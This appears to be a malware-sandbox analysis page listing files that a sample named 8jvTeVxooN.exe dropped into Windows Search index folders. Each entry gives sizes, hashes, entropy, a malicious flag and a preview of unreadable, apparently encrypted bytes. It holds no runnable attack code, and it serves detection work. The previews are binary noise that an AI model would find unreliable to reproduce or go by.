..p...$y.N.b...\|..z.t.u.+.%..S.."...b......Hq\|........:&..~..t.e..0.-:x.Ui...Q.(K{..mH....8*z..0eW..&...46........?...0c......<}.0..{..<..H..\|.E@\......e....m..!.;.....}1..?]<.\...Z..0x<.....N..Ls&....KYT....4..:2..Z[:...V..@.O...=..`CP..\.v./.........f.:..I..p. Tun..'u\.".8e..v@n{1J.f.?>/)!...T...K...hk',)"..Yf....;..YJ.F..uW&.w....G.".e).;H.......!...@...\|M.)?."V...b..s65Q.=w..y...F/......VL.-.O."oC...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.csg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.729720175169307
Encrypted:	false
SSDEEP:	24:2cNs7/oTnGlKDpaqwj3v5Y7v/limdEbKqM2s8BM4ObD:ZsESl4paqwjv5EvRd+nLsBrD
MD5:	A6F31EA24D62AE4440B8086B143E0870
SHA1:	5DC03C220987FA08DC6A8835389B6F773D56BE2F
SHA-256:	326512681957D9E18C407C8F1B9028F5119A8850A53EC4EFE78A614AE53383AE
SHA-512:	C5EED2F2B0F0B183B8F0050ACFC31DC52417CAADCC88FA7D11FF11858B2509E27CC21391BB9118C4207966F049414132FF9106F527D3AEC8C54C4971B99C0729
Malicious:	false
Preview:	.......a.s.t..A.M..<.+...N...%......i.AX.4G..1P.._..}w....:i.g.hBK.-TQ.o..."..&.>;.PkQ.......c...>..b.QB.+ ..7.....HKb(;.]e.<.Kv...E.16J.5..G..D.u.=Ep......W.W.'.2z..&R...A.4.~^.K.t.Y.G...........;W....-i.........8.,..+.X..\.........r6.....m.../O..7>..T..:b.%...D..7.......~a...;.p..'.X.Gh.I%M.c.O...Y=.H..2....Zi...y.......G..?.f.*.]..I.....n.......~./.4}..O,Z.i.f.f./.J....}I..Qd..c..2.q..P.s..............q..}.l..D...O3......g:]..L./gq=.y{QW..K..0..Li.X..[...._...>..{..(u...H.98...;..~:......#Y.O:..%Uz.(.5.N...~2.. .]....\J.......1.W.../..1.7.GD.[..S........W3H...OI......,.......6X.@.Fo..]..B...#...v.".A.d........f..2..o0.......U.#.?..WV.P..y..u..`>..hZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.schema

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.501251256380608
Encrypted:	false
SSDEEP:	12:jBHWJUXCpLnNidkVmZGiaesfdV1dQ3aKk5uOcii9a:jB21lnGkEZSeuddqfkYObD
MD5:	5B989692CA7ACC0BA0A84C385BEC131A
SHA1:	61DE41616FB688ACEABFE642C74AB67B26A239D4
SHA-256:	3840AB64C2618CA551778FD7E20C18BD4D0D8F1B2C8180C23253DC45D4F1184B
SHA-512:	5181D1982912CC822509F3F592D6F98A82142E88328D0A6AEA007AD3BF950464A927CAD11D02656B728F4318F4FD78D6E925B038F946D05F87E6F1C4AF753582
Malicious:	false
Preview:	Windo..@_s./..T.4....;lD..\........;.SbvZ......N..<!&..........EH.yt%E...,L2....P..{.. (....._....~\~14..av.1..}._...T.).n.8"...l......d~F....6........{.V.~..._t7......e[3.......Nz.mZ..Ts...g....P.Vb.....;q.\p.ga.I.....Vx.Q#.j.\.z.N....p..D.=..v.%.GU@...~f.....Q...Y.....h'....?.Ml.....u.o......E.y..{..7.~:.3T....Vc.S.B.._y......q..#:f....w.B.......q){....&....~...h.o...'..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.415953653947602
Encrypted:	false
SSDEEP:	24576:2mFXIDy6wPr5Mjdr9yEKzC79ufKZDXkmn63mlDEyjMH:2PDjwPNMVD4f
MD5:	3731FF4F9B72878846DDA9075341491B
SHA1:	95F343988F78F6935B0E785A7948D54CBA8EE9E4
SHA-256:	74F5309D1033D2100E2775F3057BB5E1D8FC4750298440418BE63C97E5EB30E6
SHA-512:	37D3CD8E1C596531CCE37C9AC6EE44BBAA655DB2501CB950407DE73566A291E8E7665EE715710999EB47C4E22BDF751007E210550629036F04A9DE80BC9D286D
Malicious:	false
Preview:	marke.K.....c......".9"...r..S..p.`......#...;._...,J..Iy/.s...cNz..}....R.$.f].-e...;.`R...j.c.......8.?K8...N.y.06$D4.3.`.2c]C...'....k.....B....$.g.5&.....J.2$.]S~.?M..4F(nZ.gY....x...#...;..."...{....4.'\|.2...(s{...J.....'F...Nqz.w}t....y:..h...m....g...z\|w8h..t@.~..9F.v.y.....NwZt..:K-.c.m&:...._...jSE..7......d..M...^w.iF..I.....U..... 4..p.1'!+...qg....c.v9.......a.....,..E...p...vzUe..>..b.}.p..W............o.d...\.....:.2T%.....e..>.......L....K...[w..G.J..uC.l\|....FrT...Ewa...Iy.y.......Bi]ch..Q.....L....5..V....M.4q.Du.a./AY...B..m......>...C..\......3W[/...Z...o..V.!..x..........jm....i.....H.....bWS..PG.oj.8...]cKWdkI..LAJ......~.n...hp....c....@..C....A.3d.....6...... .C.f.WA....mBt.b...(.......s.MH ....T..T.b..&B..'.aJe. ...t.........yC...8d#...}....'Bz...5T.r...d&%*p..;g.......\=.g.P....`....y8...Z.6..5.?...}Z.K...&.C.);M...4..V........&g.,......Q.Y..b@...x.4.,>F..9.r.$.S..kKO.b..`b.$.o.x.BQN3.+B.AJ...9..P?.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.228109440077694
Encrypted:	false
SSDEEP:	6144:DGDlh5td3Lnfykzv5Tlhc651YL6hB5PsqCfq:DWLbNv5TE6jmqiq
MD5:	899AF1C025F91C9EBB90F9330134850C
SHA1:	98E5DF289054045FC6FF43D5BA32A16AB1D915F7
SHA-256:	00C9CE9A42A66A23F40CE264F3D23B009D3F657CBA566F9A1A4AB74FD63E9EDB
SHA-512:	EA83DFD2EE51B44A9961A2F3EEB9102EF52FB9D4A8FE02BE317F2FDC0EEDC915F74370E66FEAADB9E0FDA3E34F368D2DF847EBDF1FCEC01FEEBAFA63FE1993AD
Malicious:	true
Preview:	{1AC1.....g...j..u.c...-,WN.WK.....w.v...:..G...-\.j..k.......1..}.hb[.A.......`6m.\|>..>.o.Y.@.y{..&........5..._6.A..7Z....[KIe..<.E.JBL..R......13.z.\|&R..`&b.D. ..APy.......x.T.S...4..u..<..+./c.9$.p.k.....q.'..).^.c..zGF..r.=S...YA.t..._..j.{$...P.9..`....a....r..I.o.68....[..\|..j4.A.....$\....[7...P].J....N..U......d4.kZ.AiB..8.WQ...:.v..}.3xJ6.a...e.v.d...`......N......l._.E+.h...:.V.>.(%#.<h4...cj....J..:X (U..P..RRU... +-.. $..<..b!.~......t5.;.I.t.ueb.S.1C'8....4..K..i...x..ZeY.@.p...._..T..%..w.:.....v.KU...W.....$.l..l4@x.@.@..a[....H......p..x.f+../.7..qH.....B..`.Uy^..[..h...M.v..D~...."pR..W...}.+.+..fE......zD...W....d#'.^......;rK\.<~....Z JVX...,.[s.....R..F..4..Xn.v=...<...m.$.^%..g.x....[...`....g..+]+.V.s..m.....m..~...X..J...Gr....fVrS..\0{X.)....Z.y)B.kJ.O.t... /.H.5.zq.6..M..RA.?...0..g.........d>..T.j\|...5...;..#)..t..\....bB..;jiH.F.4..2.......`.h.'.....W.Zg..3..[O..}[.^.9.^x...W.~.2P.Tw=.7..6.2@w.M,..F.1..H/>...".5)

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.512717906181823
Encrypted:	false
SSDEEP:	3072:WzcDihFJ/MF8Ofr5T9iXbNXGOSLhOR6OuGhAq4Oi+zCmTXFePKN:ZDwkKOB8pXrS9oF4eCyXFePKN
MD5:	0BD19787A69F089AB28A4181AC3BCFE7
SHA1:	1FFEDA24FD37C55137F1E8E513D36015865D7BC2
SHA-256:	81C82AEF089FF74089E42EB30D976592B50BFA93E5FF65549895675146387820
SHA-512:	F1F12054A35FAE4E488D67F0096A049F5B4B05BF62460DBDFA518FF1772AECB447382D304DF6572F9AA22B5BF75FE5B3F3477F8112243A09B118A4B6B6295A1D
Malicious:	false
Preview:	\|.\|....q...n...a...<...W..)..UQLv...G~>u<..x_...L..J.n=H.....G}.G...W ..f.}...h....G.7..../..P.A$........U.\|0..nQV.@..3......9.K:...1./Y.#....>..G.L...gcY....7.....V".Jmp.......I...\|q.z.A.7?B.a..1e......F."..."..K>......N.....+....\|m..]rR.f..5_8...Y...@...0....Q\....Qq...s.x.c1.j.6F........A.\Nn~H.VF.q..j<.....j.%...8.......:J....!+...t.....w.}...I..p.".UY..qq.\A\.D...^......W.Rp@gY0...Y.....(.($.&.a.4.gM.$.G..5h..n.7U.#.(:;.[Z.Y..T...l...WV..~x..G9.~.O.y.M..(.3..C.5U...wf...Z.q\|<Mnm...\|c.~..q..,....<....#..7.k'..Po.:..T...}.O...N....CQ(kl$b.J.K.....y....y...n$..^.cQ..2...$..-p;..}..VL....b...ld...G.:.dd...H..V..Y.3 .Q..l..j.T.Li8@....H..dzLC.~."..+Y<P7I6}..{.xVT..R.!... Ab!y._.\.s..!.\|0..c.i.....j.L..`.B..Q.Jv1i..:..G....................E2."d.6.F..35K,..7...?C'.2.y..5@.AT..7...K.?.&#....v.sCI8.+...I).<......\|.!.Y......+9..#..._.o+.. ..>............M...,.@...?j?..C:.FQ.p9.]A.a.\Jr..<.ci../K...n...<[.$..-F....y....W.hQ.a

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.csg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.712112715112465
Encrypted:	false
SSDEEP:	24:E+7C9kLDmYdA4Z+l32x+QfuX7BCSi5rWtcM0Rdtb1kNDSObD:09udhZK32xo70Si5rzdtxuD1D
MD5:	12606FE8D6C3D96A88BBF6A3742BBBD1
SHA1:	27F5FFEF288AEBAB66C76412759B359DE6A076E9
SHA-256:	E4F067C8D2F37721DDDDAEFA8A1CE3D3C0202C577F3458061099391B3C1F3B64
SHA-512:	EF33DC0C5ED2B70F485FE3FC9DC2696927320F4C0A38904E55525417CF2BDEE7AA4E5FAD8B19BA726319F1D118FBFB4FE04AAE062A5F3CDC6131E1E2236E0F68
Malicious:	false
Preview:	......,.0.@.)...4.....L....f..uKHL....o.'..fR...*.........jP.=ao...Awz..{....}.dc.......<R.1j./.6 ........I..0...M%w...M...N..!.y?..P...Q.X.....Y...F.e...~.(.k....R.d.......yT.Y.........y...T\Y...Z..!.....!c.hq..T..$..Y.?.....Q$v...8.....E.......#b.[.$.P..Z...s.......D..........[9.}..>_M..^.....wP.EX.9.q(.Ef...d.U..Q.ll..<...."....S`..%....e....:..yo:#......~.ux7..z.R.`\|.sY.e4....R...!yl....>.}...G.y5..O.. ...t.'~>kd.F.6:CG...<d.u4.(n..m<.^..\|\|...W.^B.rN.......`M...a...l.......}.B0.$O..>G....5(.wy...3b..F/&......#.xTk6{h...kI.......$.oOj..K......V..Q..;.`...g..h....qq..qtG.)O.....z&....:...YLH..:mV.b.`..W1.!.......V7Ap/j..g..`..S.LQ.qV.y9.z.Xwv.iI.E>.lC5..p6".sy#.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.schema

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.490807974150229
Encrypted:	false
SSDEEP:	12:jBaiMGij1k9136S7UR3jY2jXkh2oMu4RJuOcii9a:jBa31j1krRPKXDa4mObD
MD5:	FA4DA047BB5F0240A010A0D8C40FE36D
SHA1:	2AB08FABA7845BD6A5970D9BAD04C846783B9C46
SHA-256:	6C549CD03DEC9A7DE66AFF761371BDD7195BCC82DF023011AF9410B63A1A89AE
SHA-512:	3B36752D76F072BF4B162688A1B181A26F75C79C581D4F81863EE59CB4246D56B3D15246626676EABFEE944F5784545E9FF4AA790FD42FB76A2E17D5C0B34452
Malicious:	false
Preview:	Windo.M.x./J.P..7!UrNisNi.7!U..tFnc.~.0..+.Ji.E...\|..C.........._..kO\..)...(;..5....x.d.3X`...&h.5$.#u.....>"..+.S..N.EW.er..Xr.&.6&E..Y..]P.$.1.\b......W../...xtO.P..U..J.2....+w9..=..P.L...<V.l...%+..c.z.{.s......z..t#]...=#.PW...T.I,..B.x...3..xD.+lD.E&....#..`..Y^..d<.....>.......\|.?.../'. X.....o{...o.......u.."e.x......L_....L..fb....$..mtsPJ.f...N....C=S.o..[..o.7C....w..(/.....x ...x.hd.T+.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.257998653179546
Encrypted:	false
SSDEEP:	6144:83CbLJtLr2emAcjrobFIsZgb06sVxj8dAB4u2OsfnEa83LGWCAFdkwQknzBc8b:8ybrQlUjbxjiuTsP583eAMwQknzBcQ
MD5:	3BCC26F9C2E340A097E133DCEFFB9DB9
SHA1:	8F02CEC85E5751039627683A466C3E1BF6D6CA6E
SHA-256:	5C25414E9FC2BA582CB7C975CBEB1C9D8A3AAF67EAB874A21A598B87F2DE002C
SHA-512:	CE4F0D7439ABE358DDC1C0AF973352668578A718B2201C935804A9EC282E7B8F3309AFE467D4D87DF390FD2A1D4E7078DDCAA6FAFB6B02A5F9ED66086488B43A
Malicious:	false
Preview:	marke..x.......[....Z..\t..Qf:...hjZ..u.P).s..y..z..d.#F.D@D..0....7.j0.u....=j.....}....N.....c.S....Q.mu. ....@..Sq....%\....'.@(.P.>...)..m.@.\r.....m.s..K...yX...N!.FIf\9.b..Y,._D...&w3.:..].A....ot.7....rHAJ.../.3aZ.}.....U z.8.+..>ul}^c.......9.5....H..I....../D.{...H1..U.52.M..Zz.....St.w@.+-..Hl....OIt......X..u....}..`.....Nz..l.H..t.P".L.......I.\_....$.MFJ.G../1..h...:..;.....Cn.jg.j.....)m.8..'...'.n(....!..]........a..{.....:.O%o.....7..U..k.GL..h.XG..j?Y.k...)...NU J.>.VUE.cO..f....G.C#.z.S....0..7...F....c....X...X.y.t.H.^..X..a8....:=%&.]D.2......'.9..... ..XK..,&..ih.R......VX..V.=...?o... ...!M.\|...&..q,.*W.>.....s2M.m^.(.....ef.....'.......?g.....JC..n.X.r;...X9...c....F.M...Y.d..1..._.OA...W...0.a.6.r.<I..v$.#z....kg......V.o..R.K.)..$....<<4...kCh...}...RI.:,=......T.1Y/.. ..'\|?&F..J.......x[....,..b./.B]...i..s+.H....[x....F......v.2.z.0.C..........b.n....rf........>...'..).kv9,..(.ux$....v.(?B...]...\|..x#F2.Vd985

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.99568375578807
Encrypted:	true
SSDEEP:	768:HBf1Lejqt8Cz99mpiUFXZQclaHjtdEUaEPQY/Ud86nz7H92JJsD2hGR2/lW6:vLJmCz9QpNRZQwG1PQYkxH92JJNGw/o6
MD5:	8ADFBBDB23D81B3A11AA55B2D1510370
SHA1:	B4CFC68290B53705244040DA8EDD9DAFB5A75803
SHA-256:	CADF93651E9B6420CF72236683AA5D7332C7A7887C4DBD79CEF59E3D4A311B59
SHA-512:	CD155F229EFD665BB3AB4682C0C9E7AD69B780E3824AB9C21A82393D1670B677D871D2A0B4E293005D8089270D47D0971F2E3E0A6084BFC5AB938F911C848D56
Malicious:	true
Preview:	AAA_S....k.fU....z.6.?.A.2-R.r0..H.h.&...Y..-.......@.uU;.L%.e2.".....D....7.u]Z1.B.:..o......r....V.2.@.,NNV..!...J1d.W3.....#....D.`0.@UU....Ce..E.U.]h.......ZL9[../...0.V.w......~.wx.$.V.e"V..A.V..I..P\..b.....ut..z.-w.)`.J..7C.t.5... .&d...`.RR.q...DS....#...T..E9......lX.k.....[Kldf.N.....eP(i...S{..\s..`.\V;h....F....i.....Mx$pt..STjW.{..]z.Y{.qW.....\|.Z".{.dx.7Ds...G..>..I..U=........F";..MA......`..6.,'.x.......D....s.'..y.........y.E.zR.=^-.....c..l.....B0a\1..SlZf..O.-.!}..zm.).b...Z1.uPzS.^.%..."..>K r/_[[.dF$..}...N....V....=K:....\...d..`..DGP..2fs..>.g...Hu.91.dE.+.e....N..pem..[D..^y.(.[....M.Q.Am."......M..,..OZf_y.^.....W..nis......p,y0.j.0..]iR......R..C.#]k.W.a#Bo.9c=.....9.0..]...U03.. TYh...uNN...?.....v.6..N^"nd......RE..eU.D.=..w..........u...cu...WA...{.....2.O.8....e.!n.4.8w..zY.*L4k{#.MVH]UG..zh?......e=.....zJ.Q..Ei..E......i.......F.a.R.tQ.@.....BX...\...@^...<.g.>y..4..R.z......l..,...y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998448691550365
Encrypted:	true
SSDEEP:	3072:oNK/MO+/S4QU7lLKOxxcEaOEfl18rikl3t7/nC4PS:oNKkWBmD/y18+w3t7/TPS
MD5:	1671FB5A6F791BEE7D6CC6F6100BA7D6
SHA1:	9F93F8AE8DF073C5EFA3DE07874392C4483F4992
SHA-256:	5AC08B15A8F5B1CEDC74ABCC8A3C5C6CF4A93CEF96D647235897E3AC8ECC5F19
SHA-512:	174DAFF30B5DBADD63C06E866054D6BB4A54CEF8A57448D603229FACF6B0B080463AC2DA5B2A68455A3A7D2653E06D7A4BF88147392CAE4BF1B04326151E5CBA
Malicious:	true
Preview:	\|pri.......E....\|b....n=...A`.k;.k.".%....).B,../.7..\..v'4........u"..;....H..o..1}q....7.W......c.s.F.h..\......F.@...W.t.LQ...tyUk.d....h,N...]..8.(.B...<p3.[..Z...~.T,..>..!.+=.Q$.....d............{..1..q...^..x.......f..Vb5wEOQem.+aH-.A....B.U.3..%..5...0.>5TR...}.Te..9R>.=:+..l.....<...H.S..2........Imc=.#..O/.T._...q.9r.%...)o9..OK"..YYVY.S..s....{........8...b.\y}Dx..5...t...U.\.i.0..4.f..8E...6..Rr. .v.....1..0"v.(,...P..D......F._.G)..f..-..?b..S..I..N.7......AS.T.Qrf.c.l.f..!:.......V....C....>v..F...h.Z.....q..ss%...t.....g!8.....3m..1._\&...f...2.n\|.)..T.u......5..X .2.R$.=`../.'....'8=P^]..U..+."K./..G....hzkw..M..hA!.}.4.b.\.s&+..e..^..7.&c<..M.).h.5E...d.....4....@.h.&..m7..V..T...X2i....T..ukNp.(...W}(}.LE~.Sdf.`RHN...c.K.g.....g.1n.....W.'Ps>.......YV... }s..~..B......x./..'.C.t.....`..j.J..<..e..T.th.........`$..t.l2...-..w.p..3.f .9<\|-.:.....$.;...@S5..p.=M...\|>......."..~d22...A......9..8.7..9.../...<r....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.5861207621816735
Encrypted:	false
SSDEEP:	6144:erkXIo/bIky99PdL6L12YNlDR2jCxc81CdK:PIo/sJY3RB
MD5:	4599C0E6D684AF3F90838DF7FFCDFCF0
SHA1:	51E3406EDE93C81023830CFCCFE66453EBB158E6
SHA-256:	4AE775B21F09167ED6626B50E0FB6DD98F9D5FF4857000FD7947699B060148FD
SHA-512:	E45B49AB0D288A061D991AD83B81D711EF50221B3A184E88DEB4E561454FDF59D4C8C91007D478ADC4E9AC853B691CD61CE5D943A69846FF06400062195C2EB1
Malicious:	true
Preview:	0.0..6F..`v.t...-...Q.T_....7-...B..xm._-)..L.4'2........{Y0Z.o.?....... K!.b'...@B.. ..J.'..P...5..:..".....J\/......xX.$e.%.i......2..xS.I..9..0x......:E^.kPsCA."\..)F$..#u..p]r.]..C..../\....k...JK..)g)V.r.3.#k.-".......p.B.i.}..N0...8.C..%...b.._.).B;5XE....~".....S,.>p.....:....c.4.A.......G.\....^B."..Y.>.3a..,.k....L.t..v.....+....7..%...Vc...iQ!...2..m......"l2.....a.L..m8......N...w.tn..6z(..)-...2)h.v..H.*..(!....m-mh.I.V.y.-7.LR_..w....kZ.&......R..h.B.WEg7...P...U-F\..u..T....^...HxB. t+q....?.g.F........$U...+.....ky...2)2.WkVb.+....../...V9.-..........-Qp..[....;..,.J.z.SF~.b0..-.CE6~.....F......$....5.............V..nb....a......!.[....b.+..8>..F...!...A.M.\.DeO.............D.38[..W.I.61\|.M...AK...w..=..}..E..j.i....f.vnc...,.....s^.....L..E..I./..,...$.-. ....7.J7.........i..V&M...'6B....:.ZY=.PZy.`+.c~ 1S.~..........yN.sU..p.1...........hb..:.../.^B..)_".5;I.j..Ut...B....>...c..N.r.....(.K....-..j]>.Z...........N

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.350746493149282
Encrypted:	false
SSDEEP:	3072:SlJbKsNIi2tgGABL4nMPw3jEXimPMTSWDS88WmvShZcC9ECNEFME3by/pcU7x:eGs6i2tlIL23jESDO88WthWCN/
MD5:	834AF0A06D66A4AB3D57B941C1B9564E
SHA1:	E513CC98C640B5FDA2DF0360F3E8B8DE4D981248
SHA-256:	CB8C96DFEFF21216AC0A5212B24E9278D9B2ACD5B370E2F72C6698A6074AF1EA
SHA-512:	B9864A5D10CD6FB28D1CBFEE1BF552F2B9A8414857E43D68540511E93FE2985068423AB004EBE0DD563B1D78AE07E94E951338B4BC4FFBB162FC6185FBC3C90A
Malicious:	false
Preview:	........~.T.......Af.v4.....e.n....N.O.>..BJC....d3...8iP......NE8.y_.z.5.on6;.......}X..c=....g..pi0.d.96k.c.A$SgxgU,oS.....6.h.......DA<....t.........e..9.q....c... .#.-.q8o.lpy.........+.Vg....Yz.UI)....kA.E..4.._w-..X...d..m..2..e.r.!.[.}n.M.....G..?....(xu...X...)L x...0>v~".\|.E.nC!D.]O../..._..y\q.8J.L^9.sO..dqP/.g....._..J..'-+..(....N.].W,#...._.n..H..~....\[........%.l...M.5?..j@...?.-h....Zg,g.?.....^x...(.1.M.]....PqT...8....b....n.".q..=..C,u.iS.7.j.[.1....J......EX..0.:.(...9.0.=..g;..T.p....]s...7..V.xY.A....k..<.......\K.>.D.!d.hy'....O%..j...5....B..3.SQG#.<..1.#.[@.=$S.N.9.M...,.;8...c........k..A..f.......*~...~z^,K9.+x..\|......q9(.A1.......[.5.._........Ns....zq.O...PF.TO..\M..P..$.>.Fh.A....m.o]...q...S....N..P..f......b...4a4...8......O..^.)..o...........i....8N..Q..<.1S.2......>..)Xp..d4...B..c....$XU.'w...+f......M[l.o..}...qh..{."...\G8...D..>nh....[..nw..1..-....4>/.......$S.Q...`...d....l..S/..2.b.....zE..Q.}\...\|t.CXV

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.index

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658590010494596
Encrypted:	false
SSDEEP:	24576:HwM5Ojt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuI:QMKCF8hR3z1rM3lVKSuI
MD5:	ACAB20899EE997DC84CC5650AF7825D9
SHA1:	17F42D9710C5EFCBCFFB798B37EFE8AD6B02FEA5
SHA-256:	E9CDCA8D0DAB7A352A8AD97BA48547ACAA7583B1D7B0E6A3E50138CDC87A2CB9
SHA-512:	9CCF20B09A079103BFAE7F8249AA5D37AB4F0DE9E32D9A1B384DD628BEA29BB3AC284357566D648DBA2DCB53E030D1CEE0F1319198CE0E07A75913BFA8C34003
Malicious:	false
Preview:	Ej..D.6C5.......eU.k....J.Cq.....Q....Q..6ph....6.S#o.......h.4PO.....g.UXd{.!.J..1u~.c..1.oe.;:.Oq\|L2i.........q1..0?. ....,.Uf....p-y..@.B..J.i.....5&z.@..\|..k.-I..... . .8 a8..........4......G.N...H...V.....1Z....y.....R.?i.W.H..?.}t`......._\.....$q.Q"J.....H.R._=$-:......s/.2.B..xp...K.......J.4..-...J:.O.jz.O.-..b...q...$..I&.:..=""s.........g<.~LF.a.S..Y..-11.#J.[.......+.d%/9+.?.m0.K^..7.....0w...6.."...t....lMM.8.O.O\|..#...1.w.....?,..Q8.Tj$e.lB.....g...7..j!..s.Y..2K.;..4w.SQ.......1....}Q.'.......V..,...}hC+.0..\...'.c.7C[.j...mt1Y...~./....S.q.L.N4....mO._{(7.P.-az.3....I..O........E.e.....4K..(4vP_3.o95.g%J..G....j....z..<%m........%3.A.q.]Q..E..U......`...,Sqh.e>.....-C.....\....k.}.m.......E....P..f6.nT..5}..Vp...'JF..p85qS.&....hJV..Y".w..C.?E..Y1.#t;.1...G...4Q.K.A.a...X.T....oz..P..X....f.~.s8T.;.8B....b....o..S~....#.F./.Y.....)d....q......]kL.v.......,...uOu..`...g8...x....L...-..;P....l..[.%..t.b..Q>}}...8..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.583502226741367
Encrypted:	false
SSDEEP:	3072:DVfl176vYGKcsxDTdkXDW6HBCTjPkUga5Jbwe3qPsS1fGQdhPiCBjCBsIcq0VRfv:DVfl56scsx1AfjO0PsI9jCxc81CdeK
MD5:	68D4BF042B6B4BAF7B1F95B0840F2B80
SHA1:	DC03D060E6FE5624B0489A3A56D9E567D88FF156
SHA-256:	FE324FC3F70F6398EC3F570C5AD6F9E49A13128CFAE46D55D616BFAF702835F0
SHA-512:	63D73D90759E49C7AED184B4D3C683300392C80CA2B1053362F3B968CBCD592864C4F2053B307A94DC98B47DFCA62631D3EF86B526D2E70B752D8E49F7AE996D
Malicious:	true
Preview:	0.0...ai`.../...q.]..y...~F...eyC'.m.AFe`:.goF..%.O....Y..p.....P"w.....i"...Jv~..f=Kdw..27....6jG......1/..}..........>s>B...z.N.=.w_k....E....@T\|....G...+.u~M.N....+40.Y...].V..m...i..`n,7....m!O,gx.l....n.9\Q.~.{9.A.\.+.Q...k..rr...D.d....EW.7A.f......kJ`j.....B.z...1tb<.5....W...........Q..5.K.+.))%.[n..Bs.v.K..^..1.I@...T_x..s.M.B........P/..p..;.x?JB........'.TVXM.....W.A>..8.&.<....;.....q.V.]w......L..B~.......Y..@Wb............O....H.G..hj.v...&.>.c....~..$.p.....M.....<.......5.c...f.g...G.%.C.._.i..Q.O)w...4.....f\.+L<P....kk>} .x..wp..HK.NR.....O....u.G....m.8G^Y..l'4..I;..t..W 